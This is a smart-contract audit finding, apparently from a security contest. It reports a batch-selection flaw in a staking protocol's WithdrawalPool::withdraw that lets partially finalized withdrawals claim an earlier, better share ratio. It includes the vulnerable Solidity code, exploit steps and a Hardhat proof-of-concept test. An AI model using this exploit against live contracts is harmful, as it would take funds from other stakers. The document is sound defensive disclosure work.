Summary
In the WithdrawalPool.sol
contract, users with withdrawals
that have been partially withdrawn, when they call the WithdrawalPool::withdraw
function they can input any previous batch
they want and get the best assets-shares ratio for the rest of their shares
.
Vulnerability Details
If a user calls PriorityPool::withdraw
and there isn't enough liquidity to give him immediately, he can choose to queue his withdrawal in the WithdrawalPool
.
function withdraw(
uint256 _amountToWithdraw,
uint256 _amount,
uint256 _sharesAmount,
bytes32[] calldata _merkleProof,
bool _shouldUnqueue,
@> bool _shouldQueueWithdrawal
) external {
.
.
.
if (toWithdraw != 0) {
IERC20Upgradeable(address(stakingPool)).safeTransferFrom(account, address(this), toWithdraw);
@> toWithdraw = _withdraw(account, toWithdraw, _shouldQueueWithdrawal);
}
token.safeTransfer(account, _amountToWithdraw - toWithdraw);
}
function _withdraw(address _account, uint256 _amount, bool _shouldQueueWithdrawal) internal returns (uint256) {
.
.
.
if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
@> withdrawalPool.queueWithdrawal(_account, toWithdraw);
}
emit Withdraw(_account, _amount - toWithdraw);
return toWithdraw;
}
In WithdrawalPool
the withdrawal gets a unique withdrawalId
function queueWithdrawal(address _account, uint256 _amount) external onlyPriorityPool {
if (_amount < minWithdrawalAmount) revert AmountTooSmall();
lst.safeTransferFrom(msg.sender, address(this), _amount);
uint256 sharesAmount = _getSharesByStake(_amount);
queuedWithdrawals.push(Withdrawal(uint128(sharesAmount), 0));
totalQueuedShareWithdrawals += sharesAmount;
@> uint256 withdrawalId = queuedWithdrawals.length - 1;
queuedWithdrawalsByAccount[_account].push(withdrawalId);
withdrawalOwners[withdrawalId] = _account;
emit QueueWithdrawal(_account, _amount);
}
Now for the user to be able to complete his withdrawal, WithdrawalPool::_finalizeWithdrawals
must be called, either by performUpkeep
or by other users depositing
. Everytime _finalizeWithdrawals
gets called, it finalizes a batch
of withdrawals. This batch
gets saved along with the last withdrawal if finalized and the assets-share ratio at that time.
function _finalizeWithdrawals(uint256 _amount) internal {
uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
totalQueuedShareWithdrawals -= sharesToWithdraw;
for (uint256 i = indexOfNextWithdrawal; i < numWithdrawals; ++i) {
uint256 sharesRemaining = queuedWithdrawals[i].sharesRemaining;
if (sharesRemaining < sharesToWithdraw) {
sharesToWithdraw -= sharesRemaining;
continue;
}
if (sharesRemaining > sharesToWithdraw) {
queuedWithdrawals[i] = Withdrawal(
uint128(sharesRemaining - sharesToWithdraw),
uint128(queuedWithdrawals[i].partiallyWithdrawableAmount + _getStakeByShares(sharesToWithdraw))
);
indexOfNextWithdrawal = i;
@> withdrawalBatches.push(WithdrawalBatch(uint128(i - 1), uint128(_getStakeByShares(1 ether))));
} else {
indexOfNextWithdrawal = i + 1;
@> withdrawalBatches.push(WithdrawalBatch(uint128(i), uint128(_getStakeByShares(1 ether))));
}
sharesToWithdraw = 0;
break;
}
assert(sharesToWithdraw == 0);
emit WithdrawalsFinalized(_amount);
}
Withdrawals can get fully finalized or partially finalized, depending if sharesToWithdraw
can cover the whole withdrawal or not.
Now users can call WithdrawalPool::withdraw
on their finalized withdrawals to complete the withdrawing process. They are requiered to input their withdrawalId
along with the batches
they got finalized at. However, if a user's withdrawlId
got partially withdrawn at some point, they can enter any batch
previous to that withdrawal
and enjoy a potentially better assets-shares ratio for the rest of their shares that were left when it got partially withdrawn.
function withdraw(uint256[] calldata _withdrawalIds, uint256[] calldata _batchIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[_withdrawalIds[i]];
uint256 batchId = _batchIds[i];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
if (batchId != 0 && withdrawalId <= withdrawalBatches[batchId - 1].indexOfLastWithdrawal) {
revert InvalidWithdrawalId();
}
@> if (batchId != 0 && withdrawalId > batch.indexOfLastWithdrawal
&& withdrawal.partiallyWithdrawableAmount == 0) revert InvalidWithdrawalId();
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount
@> + (uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) / 1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}
Impact
A user may want to withdraw
his funds and notice a bad assets-shares ratio. User can queue
the withdrawal and deposit just 1 wei
to call the _finalizeWithdrawals
function and partially finalize his withdrawal. Now when his withdrawal
gets actually fully finalized, he can enter any previous batchId
and enjoy the assets-shares ratio at that time for the rest of his shares.
This breaks the whole accounting of the protocol.
Proof of Concept
Create a new tests.test.ts
file in the test/core/priorityPool
folder and paste the following code:
import { assert, expect } from 'chai'
import {
toEther,
deploy,
fromEther,
deployUpgradeable,
getAccounts,
setupToken,
} from '../../utils/helpers'
import {
ERC677,
SDLPoolMock,
StakingPool,
PriorityPool,
StrategyMock,
WithdrawalPool,
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { StandardMerkleTree } from '@openzeppelin/merkle-tree'
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers'
describe.only('PriorityPool', () => {
async function deployFixture() {
const { accounts, signers } = await getAccounts()
const adrs: any = {}
const token = (await deploy('contracts/core/tokens/base/ERC677.sol:ERC677', [
'Chainlink',
'LINK',
1000000000,
])) as ERC677
adrs.token = await token.getAddress()
await setupToken(token, accounts, true)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'Staked LINK',
'stLINK',
[],
toEther(10000),
])) as StakingPool
adrs.stakingPool = await stakingPool.getAddress()
const strategy = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(1000),
toEther(100),
])) as StrategyMock
adrs.strategy = await strategy.getAddress()
const sdlPool = (await deploy('SDLPoolMock')) as SDLPoolMock
adrs.sdlPool = await sdlPool.getAddress()
const pp = (await deployUpgradeable('PriorityPool', [
adrs.token,
adrs.stakingPool,
adrs.sdlPool,
toEther(100),
toEther(1000),
])) as PriorityPool
adrs.pp = await pp.getAddress()
const withdrawalPool = (await deployUpgradeable('WithdrawalPool', [
adrs.token,
adrs.stakingPool,
adrs.pp,
toEther(1),
0,
])) as WithdrawalPool
adrs.withdrawalPool = await withdrawalPool.getAddress()
await stakingPool.addStrategy(adrs.strategy)
await stakingPool.setPriorityPool(adrs.pp)
await stakingPool.setRebaseController(accounts[0])
await pp.setDistributionOracle(accounts[0])
await pp.setWithdrawalPool(adrs.withdrawalPool)
for (let i = 0; i < signers.length; i++) {
await token.connect(signers[i]).approve(adrs.pp, ethers.MaxUint256)
}
return { signers, accounts, adrs, token, stakingPool, strategy, sdlPool, pp, withdrawalPool }
}
it('should withdraw with any previous batchId', async () => {
const { signers, accounts, adrs, pp, token, strategy, stakingPool, withdrawalPool } = await loadFixture(
deployFixture
)
for (let i = 0; i < signers.length; i++) {
await pp.connect(signers[i]).deposit(toEther(1), false, ['0x'])
}
await stakingPool.connect(signers[1]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[1]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await stakingPool.connect(signers[6]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[6]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await stakingPool.connect(signers[3]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[3]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(0.2), false, ['0x'])
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await withdrawalPool.connect(signers[3]).withdraw([3], [1])
})
})
Tools Used
Manual Review
Recommendations
On the Withdrawal
struct, consider adding a partiallyWithdrawnAt
variable which is the batchId
of when the withdrawal got partially withdrawn. Then compare this variable to the batchId
entered by the users and don't let them be earlier than that.